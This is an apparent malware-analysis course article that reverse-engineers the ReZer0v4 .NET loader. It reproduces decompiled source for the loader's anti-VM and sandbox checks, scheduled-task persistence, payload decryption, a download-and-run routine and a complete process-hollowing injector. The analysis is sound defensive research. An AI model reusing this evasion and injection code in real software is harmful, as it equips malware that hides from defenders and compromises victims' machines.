ReZer0v4 loader

maxkersten.nl/binary-analysis-course/malware-analysis/rezer0v4-loader/

This article was published on the 26th of August 2020. This article was updated on the 8th of December 2021.

Loaders are used to conceal a payload from the prying eyes of analysts and anti-virus scanners alike. Using multiple of them to load one another is a tactic that is quite commonly observed. This article will analyse the ReZer0 loader in detail, which is one of the loaders that was used in the execution chain for this MassLogger sample. The stages prior to this loader were covered by Nikhil Hegde in a blog on ClamAV's website.

Table of contents

Technical sample information

The sample can be downloaded from VirusBay, Malware Bazaar, or MalShare. The hashes are given below.

```
MD5: 32b8a98b6b3db245201d0b91a8d0a200
SHA-1: a9ee4ebe7c0d1071dba183287c2b5443b01af792
SHA-256: 6d6224681c25a1b844d3cb183b6f852af8724c0cb25815aaf9e50ff00a6fddcf
Size: 725504 bytes
```

Outline

This article will show how to use de4dot to santise the names of classes, methods, and fields. After which it can be exported in Visual Studio to allow code refactoring. The string encryption is then analysed and removed, and the loader is analysed in detail. Note that the decryption routine is incorrectly placed due to the way it is coded, meaning one can obtain the next stage without executing any of the system checks that the loader performs. At last, further research into the usage of this loader in the wild is presented together with a rudimentary Yara rule.

Observations

The sample does not fully execute in several sandboxes, meaning it likely contains anti-virtualisation and/or anti-sandbox capabilities.

Sample sanitation

The malware is a Dot Net binary, as was shown in the first few stages. Note that the binary is 32-bits, meaning one needs to use the 32-bit version of dnSpy to be able to debug the binary. Upon opening the file, one can see the escaped unicode characters that are used in namespaces, classes, functions, and fields. Even though no obfuscator is found when using de4dot, the names within the binary are *sanitised*, making them more readable. Additionally, not using de4dot results in an error when exporting the decompiled binary as a Visual Studio project. The exported project can be used to refactor code, whilst dnSpy is used to debug the sample.

String obfuscation

The strings in the loader are obfuscated. The function named *smethod_0* in *Class5* requires an integer as input, after which it returns the deobfuscated string. The function is given below.

```
internal static string smethod_0(int int_3)
{
        Class5.Class6 obj = Class5.class6_0;
        string result;
        lock (obj)
        {
                string text = Class5.class6_0.method_2(int_3);
                if (text != null)
                {
                        result = text;
                }
                else
                {
                        result = Class5.smethod_1(int_3, true);
                }
        }
        return result;
}
```

When looking into the constructor of the used class, as well as the used methods, one will see that the obfuscation is rather lengthy. The code that dnSpy exported shows quite some errors when opening the project in Visual Studio. To obtain a list of all used integers for the deobfuscation method, one can select the function name in dnSpy and select *Analyze* from the right click context menu. Alternatively, one can use CTRL + SHIFT + R instead of the context menu. The *Used By* list contains all references to this function. This list can be used to create a list of all used strings.

An easy way to avoid replicating the deobfuscation method, is to debug the sample with a breakpoint on the return statement within the function. After that, one can set the next statement to the first line in the function, where the *obj* variable is initialised. This can be done by right clicking the target line and selecting *Set Next Statement* in dnSpy. Alternatively, one can use CTRL + SHIFT + F10 after the target line has been selected.

Within the debugger, one can change the value of *int_3* to any of the integers that got collected in the previous step. After changing the value of *int_3*, one can resume the execution, as the breakpoint on the return statement will be hit once the deobfuscation is completed. The *result* variable will then contain the deobfuscated string's value. Setting the next instruction at the top and providing the next integer value will provide the next string. A complete list of all integers and their deobfuscated strings is given below.

```
-1511115605 "QJAhqduYgl"
-1511115622 "SXQYnw6FmN"
-1511115639
"0||1||0||0||0||||||0||0||0||0||||||||||||||0||0||0||0||0||0||0||0||v4||0||2976||1||0|

-1511115749 "||"
-1511115758 "JyVNBfjFOm"
-1511116357 "noKey"
-1511116538 "Afx:400000:0"
-1511116392 "SbieDll.dll"
-1511116410 "USER"
-1511116293 "SANDBOX"
-1511116307 "VIRUS"
-1511116319 "MALWARE"
-1511116333 "SCHMIDTI"
-1511116348 "CURRENTUSER"
-1511116494 @"\VIRUS"
-1511116507 "SAMPLE"
-1511116520 @"C:\file.exe"
-1511116429 @"HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit
Id 0"
-1511116640 "Identifier"
-1511116657 "VBOX"
-1511116668 @"HARDWARE\Description\System"
-1511116574 "SystemBiosVersion"
-1511116598 "VideoBiosVersion"
-1511116749 "VIRTUALBOX"
-1511116766 @"SOFTWARE\Oracle\VirtualBox Guest Additions"
-1511116369 "noValueButYesKey"
-1511116687 "VMWARE"
-1511116700 @"SOFTWARE\VMware, Inc.\VMware Tools"
-1511115845 @"HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit
Id 0"
-1511115800 @"HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit
Id 0"
-1511116011 @"SYSTEM\ControlSet001\Services\Disk\Enum"
-1511115929 "0"
-1511115937 "vmware"
-1511115950 @"SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-
08002BE10318}\0000"
-1511116035 "DriverDesc"
-1511116052 @"SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-
08002BE10318}\0000\Settings"
-1511116274 "Device Description"
-1511116171 "InstallPath"
-1511116189 @"C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\"
-1511115337 "kernel32.dll"
-1511115356 "wine_get_unix_file_name"
-1511115386 "QEMU"
-1511115269 @"\\.\ROOT\cimv2"
-1511115290 "SELECT * FROM Win32_VideoController"
-1511115460 "Description"
-1511115478 "VM Additions S3 Trio32/64"
-1511115510 "S3 Trio32/64"
-1511115401 "VirtualBox Graphics Adapter"
```

```
-1511115435 "VMware SVGA II"
-1511115595 "XML"
-1511114754 @"\"
-1511114762 ".exe"
-1511114773 "MSBuild.exe"
-1511114791 "vbc.exe"
-1511114805 "RegSvcs.exe"
-1511115775 "[LOCATION]"
-1511115664 "[USERID]"
-1511115679 "schtasks.exe"
-1511115698 @"/Create /TN ""Updates\"
-1511114830 "\" /XML \""
-1511114845 "\""
-1511114853 "\"{path}\""
-1511115456 "ReZer0.Properties.Resources"
-1511114868 "ToInt32"
```

Within the Visual Studio project, one can replace all calls to the deobfuscation function with the deobfuscated string. Note that the previously made assumption about the anti-virtualisation and anti-sandbox methods is confirmed based on some of the strings in the list, such as but not limited to *VMWARE*, *VIRTUALBOX*, and *wine_get_unix_file_name*.

Analysing the main function

The execution of the program starts within the main function, the code of which is given below.

```
public static void Main()
{
        string location = Assembly.GetEntryAssembly().Location;
        if (Class8.int_11 == 1)
        {
                Thread.Sleep(Conversions.ToInteger(Class8.string_2[35]) * 1000);
        }
        if (Class8.int_8 == 1)
        {
                Class8.smethod_0();
        }
        if (Class8.int_4 == 1 && Class2.smethod_2())
        {
                Environment.Exit(0);
        }
        if (Class8.int_5 == 1 && Class2.smethod_1(location))
        {
                Environment.Exit(0);
        }
        if (Class8.int_3 == 1)
        {
                Class8.smethod_5(Class8.string_5, Class8.string_4);
        }
        if (Class8.int_1 == 1)
        {
                string str =
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\";
                string text = str + Class8.string_3 + ".exe";
                if (!File.Exists(text))
                {
                        File.Copy(location, text);
                        Class8.smethod_4(Class8.string_3, text);
                }
        }
        if (Class8.int_0 == 4)
        {
                Class8.smethod_8();
        }
        if (Class8.int_0 != 4)
        {
                Class8.smethod_9(Class8.int_0);
        }
}
```

At first, the location of the loader is obtained. The eight following if-statements are executed when fields within *Class8* contain a specific value. The *Main* function is also located in *Class8*. To understand how these fields are populated, one can inspect the code of any of the integers, as can be seen in the example below.

```
private static int int_4 = Conversions.ToInteger(Class8.string_2[7]);
```

The field *string_2*, which is a string array, contains all values that are needed. The initialisation of this variable, and its dependencies, is given below.

```
private static string string_1 =
"0||1||0||0||0||||||0||0||0||0||||||||||||||0||0||0||0||0||0||0||v4||0||2976||1||0|


private static string[] string_2 = Strings.Split(Class8.string_1, "||", -1,
CompareMethod.Binary);
```

Following the loader's execution flow

As such, the string array is created by splitting the string, using the two pipes as the splitting character. As the values of all fields that are used in the main function are known, we can statically derive which if-statements are executed, and which are skipped. The code for the main function, with notes, is given below.

```
public static void Main()
{
        string location = Assembly.GetEntryAssembly().Location;
        if (Class8.int_11 == 1) //true
        {
                Thread.Sleep(Conversions.ToInteger(Class8.string_2[35]) * 1000);
        }
        if (Class8.int_8 == 1) //false
        {
                Class8.smethod_0();
        }
        if (Class8.int_4 == 1 && Class2.smethod_2()) //int_4 == 0
        {
                Environment.Exit(0);
        }
        if (Class8.int_5 == 1 && Class2.smethod_1(location)) //int_5 == 0
        {
                Environment.Exit(0);
        }
        if (Class8.int_3 == 1) //int_3 == 0
        {
                Class8.smethod_5(Class8.string_5, Class8.string_4);
        }
        if (Class8.int_1 == 1) //true
        {
                string str =
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\";
                string text = str + Class8.string_3 + ".exe";
                if (!File.Exists(text))
                {
                        File.Copy(location, text);
                        Class8.smethod_4(Class8.string_3, text);
                }
        }
        if (Class8.int_0 == 4) //false
        {
                Class8.smethod_8();
        }
        if (Class8.int_0 != 4) //true
        {
                Class8.smethod_9(Class8.int_0);
        }
}
```

Note that the value at the 35th index of *string_2* is equal to 30, meaning that the time to sleep is 30 000 milliseconds, or 30 seconds. The variable named *int_11* can therefore be renamed to *shouldSleep*, as it defines if the sleep function should be called. Sleeping is often used to evade dynamic analysis environments such as sandboxes, as these generally monitor for activity and only run for a limited period of time.

The second if-statement will not be executed, meaning the analysis of that part is skipped for now. The third if-statement is set to be executed based on the settings, but also depends on the return value of *Class2.smethod_2()*. When looking at that function, it mainly consists of

function calls to *Class2.smethod_0*. To fully understand *smethod_2*, one first has to analyse *smethod_0*. The code for *smethod_0* from *Class2* is given below.

```
public static string smethod_0(string string_0, string string_1)
{
        RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(string_0, false);
        string result;
        if (registryKey == null)
        {
                result = "noKey";
        }
        else
        {
                object objectValue =
RuntimeHelpers.GetObjectValue(registryKey.GetValue(string_1, "noValueButYesKey"));
                if (objectValue.GetType() == typeof(string))
                {
                        result = objectValue.ToString();
                }
                else if (registryKey.GetValueKind(string_1) ==
RegistryValueKind.String || registryKey.GetValueKind(string_1) ==
RegistryValueKind.ExpandString)
                {
                        result = objectValue.ToString();
                }
                else if (registryKey.GetValueKind(string_1) ==
RegistryValueKind.DWord)
                {
                        result =
Convert.ToString(Conversions.ToInteger(objectValue));
                }
                else if (registryKey.GetValueKind(string_1) ==
RegistryValueKind.QWord)
                {
                        result = Convert.ToString(Conversions.ToLong(objectValue));
                }
                else if (registryKey.GetValueKind(string_1) !=
RegistryValueKind.Binary)
                {
                        result = ((registryKey.GetValueKind(string_1) !=
RegistryValueKind.MultiString) ? "noValueButYesKey" : string.Join(string.Empty,
(string[])objectValue));
                }
                else
                {
                        result = Convert.ToString((byte[])objectValue);
                }
        }
        return result;
}
```

This method is used to get a value from a given registry key. As such, the function can be renamed to *getRegistryKeyValue*. The updated *smethod_2* function is given below.

```
public static bool smethod_2()
{
        bool result;
        if (Class2.getRegistryKeyValue(@"HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus
0\Target Id 0\Logical Unit Id 0", "Identifier").ToUpper().Contains("VBOX"))
        {
                result = true;
        }
        else if (Class2.getRegistryKeyValue(@"HARDWARE\Description\System",
"SystemBiosVersion").ToUpper().Contains("VBOX"))
        {
                result = true;
        }
        else if (Class2.getRegistryKeyValue(@"HARDWARE\Description\System",
"VideoBiosVersion").ToUpper().Contains("VIRTUALBOX"))
        {
                result = true;
        }
        else if
(Operators.CompareString(Class2.getRegistryKeyValue(@"SOFTWARE\Oracle\VirtualBox
Guest Additions", string.Empty), "noValueButYesKey", false) == 0)
        {
                result = true;
        }
        else if (Class2.getRegistryKeyValue(@"HARDWARE\DEVICEMAP\Scsi\Scsi Port
0\Scsi Bus 0\Target Id 0\Logical Unit Id 0",
"Identifier").ToUpper().Contains("VMWARE"))
        {
                result = true;
        }
        else if
(Operators.CompareString(Class2.getRegistryKeyValue(@"SOFTWARE\VMware, Inc.\VMware
Tools", string.Empty), "noValueButYesKey", false) == 0)
        {
                result = true;
        }
        else if (Class2.getRegistryKeyValue(@"HARDWARE\DEVICEMAP\Scsi\Scsi Port
1\Scsi Bus 0\Target Id 0\Logical Unit Id 0",
"Identifier").ToUpper().Contains("VMWARE"))
        {
                result = true;
        }
        else if (Class2.getRegistryKeyValue(@"HARDWARE\DEVICEMAP\Scsi\Scsi Port
2\Scsi Bus 0\Target Id 0\Logical Unit Id 0",
"Identifier").ToUpper().Contains("VMWARE"))
        {
                result = true;
        }
        else if
(Class2.getRegistryKeyValue(@"SYSTEM\ControlSet001\Services\Disk\Enum",
"0").ToUpper().Contains("vmware".ToUpper()))
        {
                result = true;
        }
        else if (Class2.getRegistryKeyValue(@"SYSTEM\ControlSet001\Control\Class\
```

```
{4D36E968-E325-11CE-BFC1-08002BE10318}\0000",
"DriverDesc").ToUpper().Contains("VMWARE"))
        {
                result = true;
        }
        else if (Class2.getRegistryKeyValue(@"SYSTEM\ControlSet001\Control\Class\
{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\Settings", "Device
Description").ToUpper().Contains("VMWARE"))
        {
                result = true;
        }
        else if (Class2.getRegistryKeyValue(@"SOFTWARE\VMware, Inc.\VMware Tools",
"InstallPath").ToUpper().Contains(@"C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\"))
        {
                result = true;
        }
        else if (Class2.GetProcAddress(Class2.GetModuleHandle("kernel32.dll"),
"wine_get_unix_file_name") != (IntPtr)0)
        {
                result = true;
        }
        else if (Class2.getRegistryKeyValue(@"HARDWARE\DEVICEMAP\Scsi\Scsi Port
0\Scsi Bus 0\Target Id 0\Logical Unit Id 0",
"Identifier").ToUpper().Contains("QEMU"))
        {
                result = true;
        }
        else if (!Class2.getRegistryKeyValue(@"HARDWARE\Description\System",
"SystemBiosVersion").ToUpper().Contains("QEMU"))
        {
                ManagementScope scope = new ManagementScope(@"\\.\ROOT\cimv2");
                using (ManagementObjectCollection managementObjectCollection = new
ManagementObjectSearcher(scope, new ObjectQuery("SELECT * FROM
Win32_VideoController")).Get())
                {
                        foreach (ManagementBaseObject managementBaseObject in
managementObjectCollection)
                        {
                                ManagementObject managementObject =
(ManagementObject)managementBaseObject;
                                if
(Operators.CompareString(managementObject["Description"].ToString(), "VM Additions S3
Trio32/64", false) == 0)
                                {
                                        return true;
                                }
                                if
(Operators.CompareString(managementObject["Description"].ToString(), "S3 Trio32/64",
false) == 0)
                                {
                                        return true;
                                }
                                if
(Operators.CompareString(managementObject["Description"].ToString(), "VirtualBox
Graphics Adapter", false) == 0)
```

```
                                {
                                        return true;
                                }
                                if
(Operators.CompareString(managementObject["Description"].ToString(), "VMware SVGA
II", false) == 0)
                                {
                                        return true;
                                }
                                if
(managementObject["Description"].ToString().ToUpper().Contains("VMWARE"))
                                {
                                        return true;
                                }
                                if
(Operators.CompareString(managementObject["Description"].ToString(), string.Empty,
false) == 0)
                                {
                                        return true;
                                }
                        }
                }
                result = false;
        }
        else
        {
                result = true;
        }
        return result;
}
```

This function checks for the presence of artifacts that are usually only present in virtual environments. As such, the function can be renamed to *detectVirtualEnvironment*. The class can be renamed to *AntiDetection*. The updated if-statement is given below.

```
if (Class8.int_4 == 1 && AntiDetection.detectVirtualEnvironment())
{
        Environment.Exit(0);
}
```

If this environment is found, the loader exists. If not, it moves on to the next reachable if-statement, which is sixth.

```
if (Class8.int_1 == 1)
{
        string str =
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\";
        string text = str + Class8.string_3 + ".exe";
        if (!File.Exists(text))
        {
                File.Copy(location, text);
                Class8.smethod_4(Class8.string_3, text);
        }
}
```

The *str* variable contains the path to the application data folder. The *text* variable contains the path to the application data folder and the file name, including the extension. The file name is stored in the field named *string_3*, which is equal to *JyVNBfjFOm*. If this file does not exist, the current loader is copied to the full path, after which *smethod_4* is executed with two arguments: the file name and the path to the file in the application data folder. The code for the function is given below.

```
private static void smethod_4(string string_8, string string_9)
{
        string text = Class4.smethod_3();
        string name = WindowsIdentity.GetCurrent().Name;
        string tempFileName = Path.GetTempFileName();
        text = text.Replace("[LOCATION]", string_9).Replace("[USERID]", name);
        File.WriteAllText(tempFileName, text);
        Process.Start(new ProcessStartInfo("schtasks.exe", string.Concat(new string[]
        {
                @"/Create /TN ""Updates\"),
                string_8,
                "\" /XML \"",
                tempFileName,
                "\""
        }))
        {
                WindowStyle = ProcessWindowStyle.Hidden
        }).WaitForExit();
        File.Delete(tempFileName);
}
```

A quick look inside *Class4.smethod_3* shows that it obtains the embedded resources named *XML*. The full resource is given below.

```
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2014-10-25T14:27:44.8929027</Date>
    <Author>[USERID]</Author>
  </RegistrationInfo>
  <Triggers>
    <LogonTrigger>
      <Enabled>true</Enabled>
      <UserId>[USERID]</UserId>
    </LogonTrigger>
    <RegistrationTrigger>
      <Enabled>false</Enabled>
    </RegistrationTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <UserId>[USERID]</UserId>
      <LogonType>InteractiveToken</LogonType>
      <RunLevel>LeastPrivilege</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>false</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>[LOCATION]</Command>
    </Exec>
  </Actions>
</Task>
```

The function replaces two values within the XML to create a scheduled task which starts the loader upon startup.

The last if-statement that is executed is also the last one within the main function. The code is given below.

```
if (Class8.int_0 != 4)
{
        Class8.smethod_9(Class8.int_0);
}
```

Note that the value of *int_0* equals *0*. The code for *smethod_9* is given below.

```
private static void smethod_9(int int_13)
{
        Class8.smethod_6(Class8.smethod_10(int_13), Class8.byte_0, true);
}
```

The first argument for *Class8.smethod_6* is equal to the return value of *Class8.smethod_10*, whose code is given below.

```
public static string smethod_10(int int_13)
{
        string result;
        switch (int_13)
        {
        case 0:
                result = Assembly.GetEntryAssembly().Location;
                break;
        case 1:
                result = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(),
"MSBuild.exe");
                break;
        case 2:
                result = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(),
"vbc.exe");
                break;
        case 3:
                result = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(),
"RegSvcs.exe");
                break;
        default:
                result = Assembly.GetEntryAssembly().Location;
                break;
        }
        return result;
}
```

This function returns the path of a file, which is either an external file, or the path of the loader. In this case, the value *0* is passed to the function, which returns the location of the loader itself.

The byte array named *byte_0*, the second argument of *Class8.smethod_6*, is loaded when the loader starts, as can be seen in the code below.

```
private static string string_0 = "QJAhqduYgl";
private static byte[] byte_0 =
Class3.smethod_1(Class3.smethod_2(Class3.smethod_0("SXQYnw6FmN"), Class8.string_0));
```

The function named *smethod_0* in *Class3* is given below.

```
public static byte[] smethod_0(string string_0)
{
        ResourceManager resourceManager = new ResourceManager(string_0,
Assembly.GetExecutingAssembly());
        return (byte[])resourceManager.GetObject(string_0);
}
```

This function returns an embedded resource based upon the given. As such, this method can be renamed to *getResourceByName*. The code for *Class3.smethod_2* is given below.

```
public static byte[] smethod_2(byte[] byte_0, string string_0)
{
        int num = 0;
        byte[] bytes = Encoding.BigEndianUnicode.GetBytes(string_0);
        checked
        {
                int num2 = (int)(byte_0[byte_0.Length - 1] ^ 112);
                byte[] array = new byte[byte_0.Length + 1];
                int num3 = byte_0.Length - 1;
                for (int i = 0; i <= num3; i++)
                {
                        array[i] = (byte)((int)byte_0[i] ^ num2 ^ (int)bytes[num]);
                        num = ((num != string_0.Length - 1) ? (num + 1) : 0);
                }
                return (byte[])Utils.CopyArray(array, new byte[byte_0.Length - 2 +
1]);
        }
}
```

This method alters the given resource based on the given string, which is the decryption key. The code for *smethod_1* is given below.

```
public static byte[] smethod_1(byte[] byte_0)
{
        checked
        {
                byte[] array = new byte[byte_0.Length - 16 - 1 + 1];
                Buffer.BlockCopy(byte_0, 16, array, 0, array.Length);
                int num = array.Length - 1;
                for (int i = 0; i <= num; i++)
                {
                        byte[] array2 = array;
                        int num2 = i;
                        array2[num2] ^= byte_0[i % 16];
                }
                return array;
        }
}
```

This method further alters the given byte array. When checking the decrypted value via the debugger, or by extracting the resource and creating a custom C# program, one can see that the first few bytes equal *MZ*, meaning that the byte array contains an executable. Noteworthy here is the fact this payload is located in a *static* byte array. This means that, even though the loader verifies wether the environment is *safe* to execute in, the byte array is decrypted before any of the checks. If an AV were to scan the memory area of the byte array, the newly decrypted executable would be found. It is also possible to dump the array's content via the debugger after breaking on the declaration of the array. This executable is the next stage, which is not analysed in this article.

The code for *Class8.smethod_6* is given below.

```
public static bool smethod_6(string string_8, byte[] byte_1, bool bool_0)
{
	bool result;
	try
	{
		for (int i = 1; i <= 5; i++)
		{
			if (Class8.smethod_7(string_8, byte_1, bool_0))
			{
				return true;
			}
		}
		result = false;
	}
	catch
	{
		result = false;
	}
	return result;
}
```

This function loops five times, where it executes *Class8.smethod_7* every time. The first argument is the full path to the loader, the second path is the next stage in the form of a byte array, and the third argument is a boolean that is set to *true*. This code looks similar to NYAN CAT's RunPE. Upon digging into *smethod_7*, the suspicion is confirmed. The code is given below.

```
private static bool smethod_7(string string_8, byte[] byte_1, bool bool_0)
{
        int num = 0;
        string string_9 = Class5.smethod_0(-1511114853);
        Class8.Struct2 @struct = default(Class8.Struct2);
        Class8.Struct1 struct2 = default(Class8.Struct1);
        @struct.uint_0 = Convert.ToUInt32(Marshal.SizeOf(typeof(Class8.Struct2)));
        try
        {
                if (!Class8.CreateProcess(string_8, string_9, IntPtr.Zero,
IntPtr.Zero, false, 4u, IntPtr.Zero, null, ref @struct, ref struct2))
                {
                        throw new Exception();
                }
                MethodInfo method =
typeof(BitConverter).GetMethod(Class5.smethod_0(-1511114868));
                object[] parameters = new object[]
                {
                        byte_1,
                        60
                };
                int num2 = Convert.ToInt32(method.Invoke(null, parameters));
                int num3 = BitConverter.ToInt32(byte_1, num2 + 26 + 26);
                int[] array = new int[179];
                array[0] = 65538;
                if (IntPtr.Size == 4)
                {
                        if (!Class8.GetThreadContext(struct2.intptr_1, array))
                        {
                                throw new Exception();
                        }
                }
                else if (!Class8.Wow64GetThreadContext(struct2.intptr_1, array))
                {
                        throw new Exception();
                }
                int num4 = array[41];
                int num5 = 0;
                if (!Class8.ReadProcessMemory(struct2.intptr_0, num4 + 4 + 4, ref
num5, 4, ref num))
                {
                        throw new Exception();
                }
                if (num3 == num5 && Class8.NtUnmapViewOfSection(struct2.intptr_0,
num5) != 0)
                {
                        throw new Exception();
                }
                int int_ = BitConverter.ToInt32(byte_1, num2 + 80);
                int int_2 = BitConverter.ToInt32(byte_1, num2 + 42 + 42);
                int num6 = Class8.VirtualAllocEx(struct2.intptr_0, num3, int_, 12288,
64);
                if (num6 == 0)
                {
                        throw new Exception();
```

```
                }
                if (!Class8.WriteProcessMemory(struct2.intptr_0, num6, byte_1, int_2,
ref num))
                {
                        throw new Exception();
                }
                int num7 = num2 + 248;
                short num8 = BitConverter.ToInt16(byte_1, num2 + 3 + 3);
                for (int i = 0; i < (int)num8; i++)
                {
                        int num9 = BitConverter.ToInt32(byte_1, num7 + 6 + 6);
                        int num10 = BitConverter.ToInt32(byte_1, num7 + 8 + 8);
                        int srcOffset = BitConverter.ToInt32(byte_1, num7 + 20);
                        if (num10 != 0)
                        {
                                byte[] array2 = new byte[num10];
                                Buffer.BlockCopy(byte_1, srcOffset, array2, 0,
array2.Length);
                                if (!Class8.WriteProcessMemory(struct2.intptr_0, num6
+ num9, array2, array2.Length, ref num))
                                {
                                        throw new Exception();
                                }
                        }
                        num7 += 40;
                }
                byte[] bytes = BitConverter.GetBytes(num6);
                if (!Class8.WriteProcessMemory(struct2.intptr_0, num4 + 8, bytes, 4,
ref num))
                {
                        throw new Exception();
                }
                int num11 = BitConverter.ToInt32(byte_1, num2 + 40);
                array[44] = num6 + num11;
                if (IntPtr.Size != 4)
                {
                        if (!Class8.Wow64SetThreadContext(struct2.intptr_1, array))
                        {
                                throw new Exception();
                        }
                }
                else if (!Class8.SetThreadContext(struct2.intptr_1, array))
                {
                        throw new Exception();
                }
                if (Class8.ResumeThread(struct2.intptr_1) == -1)
                {
                        throw new Exception();
                }
                if (Class8.int_7 == 1)
                {
                        Class8.int_12 = Convert.ToInt32(struct2.uint_0);
                        Class8.smethod_2();
                }
        }
```

```
        catch
        {
                Process processById =
Process.GetProcessById(Convert.ToInt32(struct2.uint_0));
                processById.Kill();
                return false;
        }
        return true;
}
```

The technique to load the next stage is called process hollowing. The process is created with *4* as the value fo the *dwCreationFlags* variable. This means that the process is started in a suspended state. A link to the Microsoft documentation can be found here. Next up is a check based upon the size of a pointer, which determines the system's architecture. If a pointer is 4 bytes in size, the system architecture is 32-bits. If the pointer is 8 bytes in size, the system architecture is 64-bits. This defines which API calls are used: either the native API functions or the *Windows On Windows* API functions. More information on that can be found here.

After that, *ReadProcessMemory* is called to read the data of the targeted process. With the help of *ZwUnmapViewOfSection*, a view is unmapped from the process. A view is part of a process' memory. A new memory segment is then allocated with the help of *VirtualAllocEx*. The next stage is then written into the newly allocated buffer via *WriteProcessMemory*. To instruct the system where to continue the execution, the *SetThreadContext* (or *Wow64GetThreadContext*, depending on the system architecture) is used. At last, the process execution is resumed by using *ResumeThread*.

Analysing the rest of the loader

The loader's current configuration has been analysed step-by-step, but not all settings were covered. This section covers methods that were not activated by the current configuration, but can be activated in different builds. The unanalysed if-statements from the main function are given below.

```
if (Class8.int_8 == 1) //false
{
        Class8.smethod_0();
}
//...
if (Class8.int_5 == 1 && AntiDetection.smethod_1(location)) //int_5 == 0
{
        Environment.Exit(0);
}
if (Class8.int_3 == 1) //int_3 == 0
{
        Class8.smethod_5(Class8.string_5, Class8.string_4);
}
//...
if (Class8.int_0 == 4) //false
{
        Class8.smethod_8();
}
```

The first if-statement in the code above is used to show a messagebox to the user, as can be seen in the code below.

```
private static void smethod_0()
{
        MessageBoxButtons buttons = (MessageBoxButtons)Class8.int_9;
        MessageBoxIcon icon = (MessageBoxIcon)Class8.int_10;
        MessageBox.Show(Class8.string_7, Class8.string_6, buttons, icon);
}
```

The second if-statement also requires a function from the *AntiDetection* class, which already provides an indication as to what the function will do. The code is given below.

```
public static bool smethod_1(string string_0)
{
        StringBuilder stringBuilder = new StringBuilder();
        int num = 50;
        AntiDetection.GetUserName(stringBuilder, ref num);
        return (int)AntiDetection.GetModuleHandle("SbieDll.dll") != 0 ||
Operators.CompareString(stringBuilder.ToString().ToUpper(), "USER", false) == 0 ||
Operators.CompareString(stringBuilder.ToString().ToUpper(), "SANDBOX", false) == 0 ||
Operators.CompareString(stringBuilder.ToString().ToUpper(), "VIRUS", false) == 0 ||
Operators.CompareString(stringBuilder.ToString().ToUpper(), "MALWARE", false) == 0 ||
Operators.CompareString(stringBuilder.ToString().ToUpper(), "SCHMIDTI", false) == 0
|| Operators.CompareString(stringBuilder.ToString().ToUpper(), "CURRENTUSER", false)
== 0 || string_0.ToUpper().Contains(@"\VIRUS") ||
string_0.ToUpper().Contains("SANDBOX") || string_0.ToUpper().Contains("SAMPLE") ||
Operators.CompareString(string_0, @"C:\file.exe", false) == 0 ||
(int)AntiDetection.FindWindow("Afx:400000:0", (IntPtr)0) != 0;
}
```

This function stores the username into the variable named *stringBuilder*, which has a maximum length of 50, as is specified by the second argument. This function resides within *advapi32.dll*, as can be seen in the function definition below.

```
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool GetUserName(StringBuilder stringBuilder_0, ref int int_0);
```

After that, the loader checks if a handle exists for *SbieDll.dll*, which is part of the sandboxing application named Sandboxie. If the username contains *USER*, *SANDBOX*, *VIRUS*, *MALWARE*, *SCHMIDTI*, or *CURRENTUSER*, the malware also assumes its in a sandbox environment. If the full path of the loader contains *\VIRUS*, *SANDBOX*, *SAMPLE*, or is equal to *C:\file.exe*, the malware also assumes its in an analysis environment. Lastly, it detects if a MFC (Microsoft Foundation Classes/Application Framework Extensions) window is open, as is documented here, it assumes its running in a sandbox.

Based on the analysis, the function can be renamed to *detectSandbox*.

The next if-statement calls *Class8.smethod_5*, which is given below.

```
public static void smethod_5(string string_8, string string_9)
{
        WebClient webClient = new WebClient();
        string fileName = Path.GetTempPath() + string_9;
        webClient.DownloadFile(string_8, fileName);
        Process.Start(fileName);
}
```

The newly created web client is used to download a file to a temporary folder. The function's first argument is the URL to download the file from, whereas the second argument is the file name of the file in the temporary folder. Once the download has been completed, the file is started. As such, this function can be renamed into *downloadAndRunPayload*.

The last if-statement calls *Class8.smethod_8*, which is given below.

```
private static void smethod_8()
{
        try
        {
                Assembly assembly = Assembly.Load(Class8.byte_0);
                object[] parameters = null;
                if (assembly.EntryPoint.GetParameters().Length != 0)
                {
                        parameters = new object[]
                        {
                                new string[1]
                        };
                }
                assembly.EntryPoint.Invoke(null, parameters);
        }
        catch (Exception)
        {
                Class8.smethod_9(0);
        }
}
```

The embedded payload is loaded as an assembly. If there are no parameters for the loaded assembly, an empty string array is set as one, after which the payload is executed. If an exception occurs, the process hollowing method is called.

Feature overview

